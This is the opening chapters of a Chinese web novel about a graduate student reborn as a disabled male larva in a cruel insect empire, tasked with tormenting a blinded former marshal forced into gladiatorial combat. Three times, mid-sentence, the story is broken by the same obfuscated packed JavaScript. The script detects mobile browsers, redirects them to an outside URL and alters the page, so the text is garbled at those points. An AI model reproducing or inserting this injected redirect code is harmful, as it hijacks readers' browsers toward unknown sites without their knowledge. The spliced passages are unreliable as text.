《雄虫幼崽不想做炮灰攻》 1. 角斗场 “雄虫冕下,马上就开始为生死局押注了。” “您想下注在当过星盗,杀虫如麻的罪雌盖乌斯身上,还是叛国的前元帅阿克斯身上?” 角斗场上,两个高大的身影正穿着暴露的衣饰厮杀在一起,鲜红的血浆喷洒在金属地面上,刺痛着沃伦的眼睛。 作为一个每天在生物医药实验室工作12-14个小时的研究生,沃伦的性格说好听点儿,那叫波澜不惊,说不好听点,那就是死人微活的咸鱼,可即便如此,他在面对眼前光怪陆离的一切时,仍然忍不住抬起手遮住眼睛。 他发现自己正坐在高高的观众席上,而他面前,六边形的竞技场被惨白的光线笼罩,目之所及是一片冰冷无情的金属色,还有其上淋漓的血水。 “斗兽场”三个字蓦然闯入沃伦的大脑,而更让他感到毛骨悚然的是,下面生死相斗,取悦他人的,是两个高大的“男人”。 这是灭绝人性的犯罪—— “冕下,您下注吗?” 沃伦耳边的声音更加谄媚而讨好,但沃伦完全没听见他在说什么。 脑中尖锐的发出警报,转瞬间,记忆重新涌入了沃伦的大脑。 他穿越了。沃伦在和大学老师还有几个同学进行社会实践的路上,为了救几个过马路的小学生,被报复社会的大卡车撞飞了。 临死前,沃伦听到一个自称来自宇宙生命法庭的系统与自己绑定。那时候沃伦在剧痛中分不清幻觉与现实,到了此刻,他才意识到那个“系统”是真实存在的。 他成为一片陌生宇宙中的陌生种族:虫族。 “您好,宿主003。” “恭喜您成为生命法庭投放到本世界的文明拯救者03,您的目标是:扮演雄虫炮灰,完成剧情要求,拯救即将覆灭的虫族文明。” 沃伦的脑子嗡嗡作响,大量不属于他的记忆正在他脑海里乱窜,先前看到的鲜血和残酷的场面仍然烙印在他的视网膜上,给一个和平年代来的人带来了巨大的压力。 若是换了普通人,哪怕是难杀的大学生,此刻也会崩溃到根本无法听从指示,但沃伦是个研究生,还是所有研究成果都被导师占用,仍然像驴一样不眠不休在实验室工作的研究生。 他的抗打击能力十倍于普通大学生,服从性更堪比古代富户家的长工,面对极端条件下的系统指令,他不仅不崩溃不吵闹,还用超乎常人的聪明大脑迅速整理了信息,接下了任务,冷静得离奇: “行。请问我具体需要做什么?” 他问系统,缓缓睁开双眼,颤抖着瞳仁看向角斗场中的场景。 正在场上生死决斗的,不是什么身材长相都好得出奇的男人,而是两只雌虫。 虫族的雌虫和地球男人外表类似,但生理结构大不相同。接受了原主记忆的沃伦已经了解到,虫族拥有三种性别,雌虫和亚雌是族群中的雌性。 而他的原身,则是一只珍贵的雄虫,在性别比例极度失衡,且雄虫拥有绝对压制雌虫、亚雌的信息素和精神力的虫族中,雄虫被称为神子,拥有直接传承自虫族母神的高维力量。 正因为此,雄虫不仅占领了虫族社会所有的权力和财富,还肆意妄为地践踏雌虫和亚雌。即便许多雌虫和亚雌骁勇善战,为雄虫延续血脉,他们在雄虫面前,仍然要屈膝下跪,臣服于雄虫信息素和精神力,成为玩物和奴隶。 而这,甚至与雌虫和亚雌的主观意愿无关。帝国的雌虫和亚雌从出生起就带着基因缺陷,被称为“雄虫信息素匮乏症”,他们等级越高,战力越强,发病期越早,s级别的雌虫甚至在22岁左右就开始基因紊乱。 得不到雄虫标记和不定期安抚的雌虫和亚雌,会在发病后迅速神志混乱,身体崩溃而死。 整个雄虫帝国,虽然拥有人类难以想象的高科技和战斗力,社会结构却像古罗马一样荒诞扭曲。 沃伦整理好了原主的记忆。无论这个世界多么荒谬,沃伦此刻除了假装融入也做不了什么。他观察周围的一切,压制着心里的嘲讽情绪。 一个这样堕落、荒诞、充满压迫和剥削的虫族文明,值得拯救吗? 即便这个文明中大多数雌虫和亚雌是无辜的,也轮不到沃伦来做什么,他不是英雄,只是一个在实验室杀了四年小白鼠,对残忍的动物实验眼睛都不眨的社畜研究生罢了,系统怕是找错了人。 沃伦冷酷地想,完全忽略了自己在实验室里除了用小白鼠做必不可少的实验,还尽心尽力饲养动物,甚至给每个实验动物都找了领养这件事。 当然,那也不是一件容易的事,因为最常用的实验犬是善于拆家和乱拉乱尿的比格犬。 最艰难的那段日子,沃伦狭小的出租房里有六只待领养的比格。这样的地狱绘图成就了沃伦钢铁一般冰冷的内心,在任何时候,他都可以挑起一抹漠然的冷笑,讥嘲这个荒诞的世界。 此刻,沃伦冷脸看着面前血肉横飞的残忍场景,喉咙在不断紧缩,肠胃也在翻腾,但他仍然面不改色,尽显冷酷的风范。 他异于常人的镇定得到了系统的欣赏。方才还略显冷漠的系统变得话多起来,给出了更多信息: “比起其他宿主,您的心理素质真的太好了,一定能完美地完成任务,成为最冷酷残忍的炮灰!” “您的任务很简单,就是用羞辱、折磨和非法实验等手段,成为阿克斯的炮灰雄主,让沦为帝国实验体的前元帅受尽身心折磨,在一次次痛苦和死亡的淬炼下,阿克斯会激发出残破身体中所有的潜能,杀出帝国实验室,重回战场,为推翻雄虫帝国,重建虫族文明尽最后一份力。” “用地球人的话来说,您就是磨练主角意志的磨刀石。” “按照剧情,您每天都在他身上进行残忍的虫体实验,并且对他进行至少一次的羞辱,还进行一些晋江不可描述的折磨,企图摧毁他的意志...最终使他燃烧潜能,摧毁实验室,你的任务就结束了。” “请等一下。” 沃伦一直波澜不惊的面孔终于出现了一丝裂痕,他干咽一口唾沫,拼尽全力压下喉咙涌动的呕吐欲,把一只手举到眼前,震惊地问系统: “你是说,用我这副身体去虐待,羞辱,不可描述一个,上过战场的元帅吗?” 沃伦和系统的视线中,一只白皙泛粉,长着肉窝窝,如同刚出炉的奶馒头一样鲜嫩可口的小手颤抖着,连接着这只小得出奇的手的是一截儿白藕般的胳膊,和充满科技感的昂贵衣饰。 可衣饰再昂贵、科技再先进,也改变不了沃伦是蜕变失败的雄虫幼崽这个事实。 他甚至只有四头身。 虫族不是人类,他们身体储存能量的方式特殊,普通雄虫在破壳后要经历两次发育,在十几岁从幼崽结茧蜕变成少年虫,再在将近二十岁时,从少年虫蜕变成成虫。 而原主,则是个十八岁还没完成初次蜕变,仍然保持虫崽状态的残疾雄虫。 因为这次是白捡来的生命,沃伦对系统有一种拿人手短,吃人嘴短的顺从,他是愿意配合系统完成反派炮灰任务的,毕竟他杀了四年小白鼠,已经变得残酷、冰冷、莫得感情。 但是,他实在想不通四头身怎么对一个曾经的帝国元帅进行不可描述的折磨。 ——“冕下,您确定不下注吗?这是最后的机会了。” 耳畔再次传来一道声音,一个亚雌恭敬地跪在原主的座椅面前,双手托举着一个光脑,身体因恐惧而微微颤抖,而光脑将角斗场上两个生死搏斗的雌虫影像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472110|201545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 投放在了虫崽面前。 相比起场下已经看不清面目的人形,光屏上的两只雌虫面目清晰,穿着实验室受体惨白的制服,一个面容桀骜不逊,眼眸中暗露凶残之色,一个神色平静,灰蓝色的眸子冷淡地看向镜头,雪白的头发干枯而凌乱地搭在肩头,发丝下是一张远山白雪般清冷的面容。 实验体x010,原名阿克斯,前帝国元帅、反叛军首领,服刑5年7个月。 虫崽的目光划过桀骜雌虫,凝固在那张俊美无俦的面容上,包子似的小胖脸神情凝重,心跳得极快,喉咙间的呕意加剧了。 他难受得厉害,比刚刚穿越,记忆混乱时还难受。 他意识到,画面上清冷的雌虫,他的任务目标,前帝国元帅阿克斯,正是角斗场上看不清面目的雌虫之一。 怎么会这样?这个世界疯了吗,竟敢如此残忍,去亵渎远山雪,皎白月似的“人”。 本能地,胖虫崽伸出小胖手,想要轻抚光屏上的雌虫,可他手腕上的光脑一闪,信息对接成功,三千万筹码压在了阿克斯身上。 而场下,银白头发染成血红的阿克斯重重砸在地上,他身上的囚服已经不成型了,身后被剥离翅翼的翅鞘再度撕裂,鲜血染红了他的整个后背,前胸被盖乌斯的利爪穿透,疼痛让他短暂失去了对身体的控制。 他挂在盖乌斯的利爪上,几乎被拖拽着滑行几米,迸溅而出的鲜血引来了台上看客的欢呼。一些雄虫甚至不受控制地放出了恶心的信息素,来庆祝即将到来的死亡和虐杀。 经年的战斗意识让阿克斯在重伤的情况下,仍然伸手切向盖乌斯的能量脉,企图扭断对手的筋脉。这种垂死挣扎激怒了盖乌斯,当过星盗的雌虫脸上爬满了虫纹,在角斗场主脑尖锐的警告声中,违规放出了他背后的翅翼。 一双残破的黑紫色翅翼倏然展开,被束缚囚徒的电流灼烧着,却仍然涌动着庞大的能量。 盖乌斯放出翅翼的那一刻,战斗其实已经结束了。使用翅翼能量战斗和□□搏斗不是一个等量级,而阿克斯背后的翅鞘空荡荡的,根本没有翅翼可以展开。 虫族中,雌虫大多骁勇,他们拥有虫翼,是他们能量的具象体现,用于战斗和厮杀。而相比雌虫和亚雌,雄虫的身体脆弱得多,和碳基生物没有太大区别,他们的能量在于精神力和信息素。 在帝国实验室组建的非法角斗场上,是不允许雌虫放出翅翼的,因为雌虫的翅翼会让雄虫感到威胁。 是的,帝国的雄虫就是如此残酷,又如此胆怯下作,他们乐于看雌虫鲜血淋漓的死亡,从饱受折磨的实验体自相残杀中寻求乐趣,却不敢承担一丝被反杀的风险。 按理说,这样的违规会让竞技场的主人立刻下令,令主脑格杀,但盖乌斯的对手阿克斯太特殊了。 他是前任帝国元帅,也是最后一任雌虫元帅,一个组建反叛军,企图颠覆雄虫政权的叛徒。 他被剥离翅翼,被社会抹杀,几乎多有虫都认为他已经死了,他残破生命的唯一价值就是为了让雄虫泄愤,在他身上实验无数残忍的药剂和武器。 看他被打败、被残杀是一件极其令统治者愉悦的事,因为这个雌虫永远都不输,直到这一次。 “真是可惜了。” 坐在沃伦旁边的看台上的中年雄虫说,他张口把果核吐到面前跪侍的雌虫脸上,说道: “毫无悬念,没虫会押010号胜,赔率太低,真没劲。” 笼罩角斗场的穹顶光屏显示着赔率,投向盖乌斯的筹码铺天盖地,紫色的光完全吞噬了代表阿克斯胜率的白光。 而就在此时,沃伦的押注被主系统播报出来: “沃伦·金翎羽冕下,押注实验体x010,三千万能源石。” 2. 一掷千金 “沃伦,你疯了?” 开口的是沃伦身旁的雄虫,他对沃伦的“大手笔”发出尖锐刺耳的讥笑,偏偏顾忌着什么,强行捋顺了他那张纵欲过度的脸,假惺惺道: “x010号确实是角斗场的传奇,但是他的情况你恐怕不了解,亲爱的沃伦。他的精神海已经崩溃,腺体已经完全萎缩,通常雌虫在这种情况下,已经是一具尸体了,即便你再执着于x010曾经的逆风翻盘,这次恐怕不能了。” 角斗场上,黑紫色的翅翼如同呼啸的山风,和大片血色纠缠在一起,映在沃伦金色的瞳仁中。他仿佛被角斗场的血腥吸住了眸子,看得目不转睛,白嫩的小脸儿也肃穆冷漠,甚至连系统都被蒙骗过去。 而只有他自己知道,他在眼前的残酷中完全处于木僵的状态。有一部分情感告诉他要喊停凶残的杀戮,无论是对于阿克斯,还是阿克斯的对手,为了迎合雄虫变态的私欲死在角斗场上,绝对是一种亵渎,一种毫无人性的残忍。 但经年累月的理智和冰冷的现实还是占了上风。事实上,沃伦什么都做不了。他是一个外来者,哪怕只是露出对残酷场景的不适,都可能被其他雄虫发现端倪,继而处死。 即便是他不怕被杀,硬要喊停眼前的生死斗,也不见得会成功。沃伦不是清澈愚蠢的大学生,相反,他聪明隐忍,只在成为原主,被迫坐在角斗场看台上的几分钟,他已经意识到了他身边的雄虫才是这角斗场,甚至是帝国实验室的主导者,而他,不过是一个出身不错,却发育失败的雄虫幼崽而已。 不管是他还是原主,身份都没有分量。 虫族社会确实以雄虫为尊不假,每个雄虫,哪怕残疾、精神力低微,全都能踩在庞大的雌虫和亚雌群体上作威作福,但在雄虫组成的上流社会里,也是分三六九等的。 血脉、天赋、钻营,全都是决定雄虫地位的关键因素。而原主沃伦·金翎羽,占了三分之二。 金翎羽是皇姓,沃伦正是皇族一位实权亲王阿尔德·金翎羽的雄子。但和很难得到雄虫蛋的平民雄虫不同,贵族雄虫雌奴众多,在雄子出生率日渐降低的现在,也大多产出几个雄虫蛋。 沃伦的雄父有三个雄虫蛋,其中一个未能孵化,孵化出的两个雄子一个是继承者瓦利,一个就是沃伦了。 瓦利成为亲王继承者的原因自然是他是唯一蜕变成功的健康雄子,但原主也不赖。阿尔德·金翎羽在皇族的地位主要来源于位于皇族私有星球的实验基地,而原主在身体残疾、迟迟无法发育的情况下,仍然成为了实验基地的二把手,参与多项机密研究。 而此刻坐在沃伦身边这位,就是原主同父异母的雄虫兄长,实验室当前的实际操控者,瓦利了。 见沃伦不为所动,只盯着角斗场上的情形,瓦利踹开了他面前衣着暴露的雌虫,弯腰凑到沃伦耳边说: “弟弟,我知道你想赢,也想得到x010这件雄父最喜欢的实验体,但赌场如战场,你如今已经输了钱,就别在这里让别的虫看我们亲王府的笑话儿了,晚些时候,我会将x010剩下的残片和碎肉送到你实验室里,哈哈。” 他不屑于掩饰声音中的恶毒。作为同胞竞争者,瓦利像绝大多数的帝国雄虫一样,毫无才华和天赋,他们的一切地位和尊荣,都是建立在掠夺雌虫和亚雌的心血上得来的。而原主从小更为阴郁隐忍,也更有科学方面的天赋,使他们的雄父阿尔德亲王更信任原主。 但这一切,都在原主蜕变失败后彻底改变了。瓦利成为了亲王继承者,而沃伦再如何努力,也只是实验室里的高级研究员而已。 听到瓦利的话,沃伦嫌恶地避了避,放在膝头的小胖手紧紧握拳,用力到颤抖。 和瓦利所想不同,沃伦根本没想押注,只是误触,也根本不在乎输赢和金额,只在乎角斗场中的生死。又一注鲜血喷溅而出,沃伦忍了又忍,向系统询问道: “我的任务目标是阿克斯,对吗?他就要死了,即便我作为炮灰只应该虐待他,不该帮助他,可是那也是建立在他活着的基础上的,对吧?” “当然了,宿主,”系统语调轻快: “但按照剧情,您此刻什么都不需要做,只需要静待阿克斯翻盘就行了。以免您不知道,阿克斯曾是帝国战神,统御帝国军队七年之久,他是有天命在身的强者,不会死在这里的~” 系统的话让沃伦松开了紧握的双拳,但是丝毫没有熄灭他胸中的焦躁感。他盯着角斗场上的情形,心神俱颤,情绪波动大到让他自己都疑惑不解。 他不想让阿克斯出事,不仅仅是因为所谓的系统任务。对于一个理科学霸而言,“扮演炮灰”,“拯救文明”这样的任务太抽象了,但就像他不知道自己灵魂穿越的原理一样,他暂时触及不了这么高级的知识,所以选择随波逐流,但他绝不会为了任务做丧尽天良的事。 他是发自内心地不想让那个高山白雪似的雌虫出任何意外,即便他只是隔着光屏对他惊鸿一瞥。 大概是雌虫生得太好看了,即便是非人类,也像一场人类会做的美梦。沃伦想。 “他或许不会死,可是那得多疼啊。” 沃伦在心里想,没有跟系统争执,他的目光扫视了一圈光怪陆离的斗兽场,而后开口对他身边跪着的亚雌说: “我还要押注。” 场上一片深紫,哪个角斗士被押注更多,代表他的颜色就占据穹顶,而此刻,只有一抹三千万重注将穹顶染了一道白光。 亚雌有些慌乱,迅速看了一眼高高在上的瓦利,才为沃伦调出了押注页面。 沃伦并不在意,他大概猜出来了自己先前“误触”下注的原因,是瓦利在算计自己,但他没放在心上,更不会因此为难被瓦利驱使的亚雌。 他抬起小胖手,让自己的光脑完成认证,看了一眼自己账户余额。 1.25亿能量石。 在雄虫帝国,货币直接和能源挂钩,能量石类似地球上的原油,来自战争和能量矿的开采。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472111|201545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能源从来都是珍贵的,原主作为亲王子嗣也不该拥有这样大的财富,这些钱还是因为原主曾被亲王看中,以及他的科研专利。 不难猜出,也正是这笔财富,让瓦利对原主又羡又妒,即便夺走了原主的继承者的位置,他仍不满足。一定要算计原主在角斗场上变成穷光蛋。 沃伦在光屏上点了点,在亚雌震惊的目光中,下了一亿能量石的重注。 全下在场上几乎无力反抗的阿克斯身上。 主系统接收到巨额资金注入,角斗场上白光侵袭,点亮了黑紫色的混沌光幕,以碾压的姿态照亮了角斗场上的雌虫。 此刻,阿克斯已经被盖乌斯的利爪钉在了地上,金属地板在他身下扭曲变形,他的血流失太多,身体正在慢慢变凉。 但他并不觉得寒冷。他已经很久、很久没有感觉到冷热的区别了,身体只剩下疼痛和麻木,而疼痛到了极点,也变成了习惯性的麻木。 他大概是要死了。 阿克斯漠不关心的想。被从军队中带走,剥去翅翼,秘密审判并关入研究所五年后,生和死之间的界限早就模糊不清,他并不执着于生,也不恐慌于死。 他在角斗场上的战斗,更像一种机械化的行为。他是一个战士,从破壳而出的那日起,他一直在奔袭、搏斗,他甚至不知道怎么放弃和投降,来减少痛苦,只是一味地反抗。 战斗的意识几乎刻进骨髓,他知道所有雄虫都在期待他的死亡,不仅是因为他们生性残忍,更因为阿克斯这个名字所代表的东西——他曾是帝国战无不胜的元帅,是所有雌虫和亚雌的希望,是离摆脱雄虫的统治最近的雌虫。 他让所有雄虫都不得不知道他的名字——一个来自边境星、出身微贱的雌虫的名字。他让那些雄虫统治者暗中胆寒,让他们不得不使出下作不齿的手段,将他的存在完全抹除,避免其他雌虫和亚雌生出跟随他、反抗帝国的心思。 可那些都结束了,他如今是x010号实验体,他没有翅翼,没有军队,没有身份,他就要死了。 他不知道自己为什么而战,也不知道自己的身体为什么还不肯放弃,还不肯疲软和变冷。 阿克斯睁开一双灰色的眸子,向天空的方向看去——他什么都没看见。不仅仅是因为角斗场根本没有天幕,只有光屏搭成的穹顶,还因为阿克斯早就瞎了。 他的眼睛是在进入实验室第一年毁掉的。帝国实验室对于罪雌实验受体没有任何怜悯,各种药剂和残酷的基因实验轮番上阵,大多数“实验”的目的,纯粹是为了折磨。 所有的雄虫实验员,都酷爱逼迫曾经的帝国元帅惨叫和求饶,即便他们从未成功过。 每一次,都没有。 ——“元帅!” 骑在阿克斯身上的盖乌斯嘶声说,他的声音在电流声中失真: “你为什么还不去死?你到底在坚持什么?明明已经成为一滩烂泥了,不要再反抗了!结束你的痛苦,对你而言是一种仁慈!” 3. 盆满钵满 盖乌斯的声音在阿克斯耳中忽远忽近,遍布的杀意像一汪冰水,覆盖着阿克斯的每一寸感官。 精神海濒临崩塌使他的思绪断断续续,头昏脑胀,他用失明的双目盯着穹顶。 一片漆黑。 永远是漆黑、混沌和无休止的疼痛。天像一个漆黑的枷锁,牢牢笼罩在帝国每一个雌虫、亚雌的身上,无论他们打胜了多少战役,也无论他们杀死多少敌人。 黑暗无休止的倾吞光源。在阿克斯还有翅翼的时候,他的能量是纯白色的,是全帝国最纯粹的白。 在帝国的雄虫的眼中,这种白太单调,也不够华美。但正因为此,阿克斯才没有因为雄虫的觊觎和收藏癖失去双翼,死在籍籍无名时,而是凭借纯粹而强大的纯白能量,一步步爬上帝国元帅的位置。 每当他放出翅翼时,他心中就有一种胸有成竹的妄念,觉得自己的翅翼劈开了天空上深不见底的黑暗,他能看见光,也能让其他雌虫和亚雌看见。 ...胸口撕裂的洞被扯得更大,阿克斯唇边溢出一股血浆,夹杂着内脏的碎块儿。 他半垂下眼睫,有些困了。内心深处,他是赞同盖乌斯的,他不知道自己为什么还活着。 就在这时,他的瞳膜捕捉到了一抹幻觉似的,模糊的白光。 随着大量赌资注入,显示赔率的天幕发生倾倒性的逆转,白光撕裂了代表盖乌斯胜率的黑紫色,落在了阿克斯蒙着灰翳的双眼中。 阿克斯本有些疲软的肢体突然聚力,他露出白骨的手臂以一种刁钻的姿势切向盖乌斯的命脉,丝毫不顾盖乌斯的指爪还插在自己的胸膛上。 他再次摆脱了盖乌斯的控制,在前星盗愤怒的嘶吼声中,用野兽般敏锐的战斗技巧躲避着盖乌斯一次比一次致命的攻击。 失去翅翼的雌虫无法调动身体中的能量,和有翅翼的雌虫对抗简直是天方夜谭,可阿克斯偏偏还没倒下。他浑身浴血,狼狈地躲闪着攻击,四肢和躯干上全都是深可见骨的伤口,虚弱而破损的指爪是他唯一的武器,只能在盖乌斯的身上留下浅浅的抓痕。 五分钟...十分钟。阿克斯的腹部被撕开一个过分危险的伤口,而他的手指也切断了盖乌斯侧颈的能量通路。 张开翅翼的雌虫猛然从半空中跌落,他的翅翼在缺乏能量供给的情况下瑟缩着,原本让他所向披靡的能量此刻在他身体里乱窜,剧痛使他面目扭曲,而也就在此刻,一只惨白的指爪扣住了他的翅鞘,虚虚搭在他的命脉之上。 盖乌斯的身体迅速冷了下来。翅鞘根部是所有雌虫的命脉,那里是能量汇聚之处,一旦被切断,就等于被毁掉了翅翼,剩下的只有死路一条。 没有哪个雌虫,像阿克斯一样,用被挖掉翅翼竟然还拖着残躯活了五年。 胜负已分,看台上下了注的雄虫大多数脸色难看,没下注的则面色红润,爱极了这样一场结局反转的战斗。不少雄虫像施舍一般放出了平时藏得很深的信息素,各种气味瞬间弥漫了整个角斗场,让无数陪侍的雌虫和亚雌软了身体。 “杀了他,x010!杀了他,你就能得到赏赐!” 几个雄虫兴奋地下达命令,只想看更多的鲜血来满足他们的感官刺激。 瓦利的面色尤其难看。 今天的决斗是他主持的,象征着他正式从病倒的雄父手中接管帝国研究所。 利用帝国研究所里作为“研究材料”的雌虫和亚雌决斗,从而组织雄虫间的押注和赌局敛财,是瓦利在研究院最主要的项目。他在十几年前就凭借亲王之子的身份进入帝国研究院,虽然担着高级研究员的身份,却对研究毫无兴趣。 他真正感兴趣的,是血腥和敛财。因此,实验室里作为耗材的雌虫和亚雌又有了新的身份:角斗士。他们拖着被药剂、实验折磨得面目全非的残躯,自相残杀,取悦看台上嗜血的雄虫研究员和来自首都星的贵客,获取微不足道的“赏赐”。 他们搏命换来的赏赐大多只是一天没有实验和折磨的休息日,或者一瓶足以饱腹的营养液。而高坐看台的瓦利,则凭借这种残酷的项目,日复一日的收敛钱财。 今日,他本想利用油尽灯枯的x010号实验体,让他视为眼中钉的沃伦损失一笔巨款。为此,他特意让主脑放松了对盖乌斯能量的压制,让他在角斗场上可以使用翅翼。 这本应是一场无悬念的战斗,而沃伦也不知道抽了什么风,竟然又押了一亿的重注,让瓦利惊喜到了极点。 他迫不及待地想看x010被撕碎,看沃伦因此破产,可之前越期待,看到结局就越失望。瓦利和他在实验室的拥趸加起来押的数目更多,可谓损失惨重。 而沃伦却赚的盆满钵满。 忌恨和恼怒让瓦利的脸一阵扭曲,眼睛充血。他用暗含杀意的目光扫过沃伦渺小的身体,死死盯着角斗场上雌虫。 沃伦看到场上胜负已分,悬着的心才缓缓落了下来。 他还是人类的时候,对金钱就没有强烈的执着,成为一只雄虫后,更对原主的钱没有占有欲。他之所以在血腥的角斗场上押注,只因为发现没有其他虫押阿克斯罢了。 来自和平的国度,他难以想象以命相博的残酷,也不知道不被看好的战士会承受多么大的压力。 可他刚刚穿越来,什么都不敢多做,只寄希望于用押住的方式,让穹顶代表阿克斯的胜率高一些,让场内的雌虫知道,他的胜利和存活是被期待的,他是被信任的。 即便来自雄虫的信任不被阿克斯需要。 阿克斯胜利后,场上的呼声越来越高,那不是喝彩,而是充满恶意和残暴的“杀了他!”。 角斗场建立的目的就是嗜血的。它是雄虫敛财的工具,也是他们发泄隐晦欲望的场所,每一场决斗都是要见血的,绝大多数的败者都会丧命。 “还真让你押对了,x010竟然又赢了。” 瓦利阴沉地说,不怀好意的目光看向沃伦: “但你恐怕不知道,x010一直是个异类,他从不肯杀死失败者,而观众渴望见血。你花钱买了他的胜利,算是他的主虫,你来做决定吧。” 瓦利说完,懒洋洋地往后一靠,躺进为他做活椅背的雌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17472112|201545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虫怀里。 观众的情绪激昂,不同种的雄虫信息素不要钱似的洒,稀有又能让雌虫和亚雌疯狂的信息素混成一股刺鼻的味道,弥漫整个斗兽场。 几乎所有雌虫和亚雌都被影响了,他们面色晕红,眼神凌乱,像是醉了酒。而唯一不受影响的,就是半跪在场内,手指虚虚抵住盖乌斯要害的阿克斯。 沃伦盯着他,肉乎乎的幼崽脸蛋儿带着蜡似的苍白。他是知道瓦利话中的含义的,阿克斯战胜后从不杀自己的对手,这种原则让雄虫恼怒又扫兴。沃伦如果要求阿克斯杀死盖乌斯,一定会被拒绝,到时候沃伦会颜面扫地。 而如果沃伦下令不杀,则会惹恼其他雄虫观众。毕竟他刚刚赢了一大笔钱,都是从其他押住的雄虫身上来的,此刻拿着钱,又搏他们脸面,实在不知好歹。 任何一个正常的雄虫都会陷入两难的境地,更何况沃伦刚来帝国研究院不久,虽然带着自己的专利和成果,也是抵不过瓦利多年经营和庞大的利益团体,他讨好其他雄虫都来不及。 为了脸面或者争权夺利的野心,沃伦或许会下达一些更极端的命令,比如指使场内的机器人将两个雌虫都杀死,来保护自己的脸面,满足雄虫的嗜血欲。这也是瓦利想看到的,毕竟即使他输了这一次,他也是稳坐钓鱼台的庄家,角斗场是他的主场。 但他没想到的是,刚刚穿越来的假虫崽沃伦既不想要脸面,也没有野心。 “那就杀吧。” 沃伦冷着小脸儿说,主脑让他的声音响彻整个斗兽场,引来了许多雄虫的迎合。 阿克斯没动,是毫不留情的拒绝姿态。他身体受伤太重,几乎一动就涌出血浆,肌肉也僵硬如同老旧的器械。 过了漫长的几秒,白发被血染红的雌虫抬起一双目盲的眸子,遥遥看向看台的方向。 那是沃伦第一次看清阿克斯的眼睛。和图片上的不同,阿克斯的眼睛因为失明完全变灰了,原本的蓝像被粗糙的布料草率遮盖,透不出一丝光。 他的脸上全是血,看不清五官,慑人的气势却如同冰川一样倾轧过来,让沃伦的心剧烈的跳动,像是被什么极端危险的捕食者盯上的猎物。 那是一匹被逼至绝境的银狼王。 恐惧、惊艳、暴力美学带来的震撼,令小小一团虫崽跌进看台的座椅上,肥肥的屁股上下弹了弹,惊惧得说不出话。 其他雄虫为x010一如既往的不驯感到无比愤怒,他们叫嚣起来,有些竟然放出了精神触须,准备在输钱的恼怒和扫兴中搅碎雌虫的精神海,以儆效尤。 “哈哈,x010一向如此,该死的贱雌,没有任何价值的废品,真不知道雄父为何如此看重他。” 瓦利神色厌烦,眼睛却盯着沃伦,等着他这自持清高的“研究天才”为此发难。 沃伦心跳剧烈,他借机从看台的椅子上跳了下来,迅速为这场闹剧盖棺定论: “把x010送进我的实验室,我要让他知道,违背命令的后果!” 在脑海中的系统的叫好声中,他说出了穿越后的第一句炮灰台词。 4. 斯巴达克斯 余光看到角斗场的机器人拉开了两只虫,沃伦才敢真正离开了角斗场。 他接下来的第一站,是根据原主的记忆,冲进了他私虫休息室的洗手间。 “呕!!!呕——” 半小时后,比马桶略高一点的雄虫崽神色冷淡地坐在马桶上,冷静得仿佛刚才把胆汁都吐出来的虫不是他一样。 原主的身边是跟着雌虫和亚雌侍从的,有原主从亲王府里跟出来的管家,也有研究所的研究员和助手。 在雄虫为尊的帝国,雄虫凭借关系和血脉进入研究所后,立刻会成为中高级研究员,手下配备一个完善的,由雌虫和亚雌研究员组成的团队。 这些能当研究员的雌虫和亚雌,都是从小被帝国筛选培养的高智虫群,他们进入特定的学院,毕业后进入研究院,成为一线研究的柱石,完成研究所百分之九十以上的工作,拿着低廉的薪水,所有的产出和成果全部上供给雄虫研究员。 毕竟,按照帝国的规矩,雌虫和亚雌在被匹配雄虫后,就不可从事任何社会劳动,他们的钱财也要全部上交给雄主,整个社会系统对他们洗脑之深,竟然让研究所扭曲的压迫关系百年如一日的运行着。 想到这儿,沃伦又有些想吐了。没有虫会比他更厌恶成果掠夺和压迫,毕竟当人类的时候,他就是被实验室和导师压榨的一员,他所有的成果都挂着导师的名字,他自己有时候连二作都抢不到。 但实验室里阶级分明的情形,也有利于他作为假雄虫浑水摸鱼。 至少此刻,他坐在雄虫专属的洗手间里大吐特吐,没有一个雌虫或者亚雌敢进来打探,给了虫崽难得的喘息空间。 沃伦伸出小胖手捧起一泼水,盖在了自己吐得异常苍白的脸上,又胖又短的手指还有些发抖,但即便如此,他脸上仍是一副云淡风轻的神色,让系统都有些困惑了。 “宿主003,”系统小心斟酌着说: “当前剧情对宿主的心理承受能力要求较高,在投放到本世界的宿主里,我特意选择了您作为这个任务的执行者。因为您有非常丰富的生命体实验和杀生经验,并且性格沉稳,适应高压环境(读研的都懂)。您只需要把人物对象当成以前实验室的实验体看待就可以,为什么会产生如此强烈的身体反应呢?” “哈哈,” 